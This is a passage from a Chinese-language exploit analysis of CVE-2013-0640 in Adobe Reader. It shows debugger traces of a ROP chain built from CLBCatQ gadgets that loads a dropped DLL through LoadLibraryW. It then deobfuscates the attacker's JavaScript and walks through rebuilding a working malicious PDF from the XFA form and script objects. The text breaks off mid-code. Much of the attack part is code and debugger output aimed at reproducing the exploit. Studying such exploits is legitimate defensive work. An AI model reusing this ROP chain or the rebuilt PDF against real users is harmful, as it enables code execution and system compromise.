CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9:
75851566 52              push    edx
75851567 5c              pop     esp
75851568 5d              pop     ebp
75851569 c20800          ret     8

ROP数据代码

0:002> dds 08080020
08080020  75e814eb CLBCatQ+0x14eb
08080024  75e814eb CLBCatQ+0x14eb
08080028  75e84527 CLBCatQ!GetCatalogObject2+0xe71
0808002c  75eb1566 CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9
08080030  75e814eb CLBCatQ+0x14eb
08080034  75e814eb CLBCatQ+0x14eb
08080038  75e814eb CLBCatQ+0x14eb
0808003c  76511e12 kernel32!LoadLibraryW
08080040  75e814eb CLBCatQ+0x14eb//返回地址
08080044  【08080054】//路径数据地址
08080048  765110ef kernel32!Sleep
0808004c  75e814eb CLBCatQ+0x14eb
08080050  0036ee80 AcroRd32+0xeee80
【08080054】 C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\L2P.T

OpenComponentLibraryOnMemEx调用完毕之后,ESP返回地址被改变,接下来调用ROP_shellcode数据地址CLBCatQ+0x14eb的时候,ESP指针寄存器指向的堆栈地址已经被改变,其汇编代码(如下).

0:002> bp CLBCatQ+0x14eb
eax=75851566 ebx=0389fba8 ecx=110201e8 【edx=08080020】 esi=01f94210 edi=110201e8
eip=758214eb 【esp=08080030】 ebp=758214eb iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
758214eb c3              ret

当中间进程CLBCatQ+0x14eb连续调用3次之后,返回地址调用到LoadLibraryW,并加载保存的L2P.T路径,完成后返回到Sleep进行延时3600000毫秒,最后攻击完成,其汇编代码(如下).

0:002> bp LoadLibraryW
eax=75eb1566 ebx=03d4f518 ecx=10d8dd30 edx=08080020 esi=002462e0 edi=10d8dd30
eip=76511e12 esp=08080040 ebp=75e814eb iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
kernel32!LoadLibraryW:
76511e12 8bff            mov     edi,edi
0:002> dd esp
08080040  75e814eb 【08080054】 765110ef 75e814eb
eax=02700000 ebx=0389fba8 ecx=75811810 edx=00000000 esi=01f94210 edi=110201e8
eip=75ae10ef esp=0808004c ebp=758214eb iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!Sleep:
75ae10ef 8bff            mov     edi,edi
0:002> dd esp
0808004c  758214eb 【0036ee80】 003a0043 0055005c

五、样本还原

在程序界有句致礼名言:“不要重复发明轮子”;这句话说的很对,这里把这句话改写一下:“要站在巨人的肩膀上改造轮子,发明出更精良的轮子”.为什么?如果我们从现在开始重写样本,一、重写时间不够。二、样本不稳定.原样本是攻击者精心策划的,很多机器测试过的,做得肯定比我们好.第一步要做的是:找到网络上该漏洞的所有资料,全部浏览一遍,然后再用哪看哪.现在来还原攻击样本被攻击者混淆过的js代码,写个小工具来还原被混淆过的js代码.原来的js代码(如下).

/JS (\n0 >> 0 >> 0 >> 0 >> 0 >> 0;\nfunction sHOGG\(c,d,e\){\n    var idx = d % c.length;\n    var s = "";\n    while \(s.length < c.length\){\n        s += c[idx];\n        idx = \(idx + e\) % c.length;\n    }\n    return s;\n}\n0 >> 0 >> 0 >> 0 >> 0 >> 0;\nfunction oTHERWISE\(pRENDENDO,t\){\n if\(pRENDENDO == sHOGG

看下混淆还原后的代码;请注意,第一个函数为解密字符串的函数,把它写入到还原脚本里面还原被加密的字符串,省得占篇幅,缩进一下代码(如下).

(0 >> 0 >> 0 >> 0 >> 0 >> 0;
function sHOGG(c,d,e){//解密字符串的函数,把这个函数改写为你的脚本函数,然后依次判断加密字符串并还原.
    var idx = d % c.length;
    var s = "";
    while (s.length < c.length){
        s += c[idx];
        idx = (idx + e) % c.length;
    }
return s;}

//该函数调用:if(pRENDENDO == sHOGG(&#039;014.031.4.&#039;,3571,9173)) //混淆还原后为if(pRENDENDO == "10.0.1.434")

混淆还原之后,拷贝js代码到桌面上,运行一下,看下有没有什么地方漏过了;经过修正错漏的脚本之后,运行提示6535行错误(如下).

mONDIZIA = true ? app:app;这是微软JS脚本解释器没有的东西,当然,这句代码也是多此一举.

混淆还原没什么问题了,现在构建一个最基本的PDF文件;根据CVE-2013-0640漏洞利用所需的关键对象给拷贝进去(用Notepad++编辑脚本),PDF文件结构可以使用Notepad++和PdfStream查看;这里把漏洞所需的XFA表单和js代码拷贝进我们构建的PDF文件,修正一下对象长度(如下).

6 0 obj
<< /Length 3475 >>stream // 这里的长度需要修正为对象数据真实的长度.

现在接着用Notepad++查看PDF中的js代码,把一些无用的js代码给精简改写一下,把一些没有使用的函数和变量给去掉(如下).

function bRIGATA(pERDERE) {//未使用的函数
 console.println(pERDERE.toString());
}
//
var aSTERISK = false;//未使用的全局变量
//
function cINQUANTA() {
&nb
        
源链接

Hacking more

...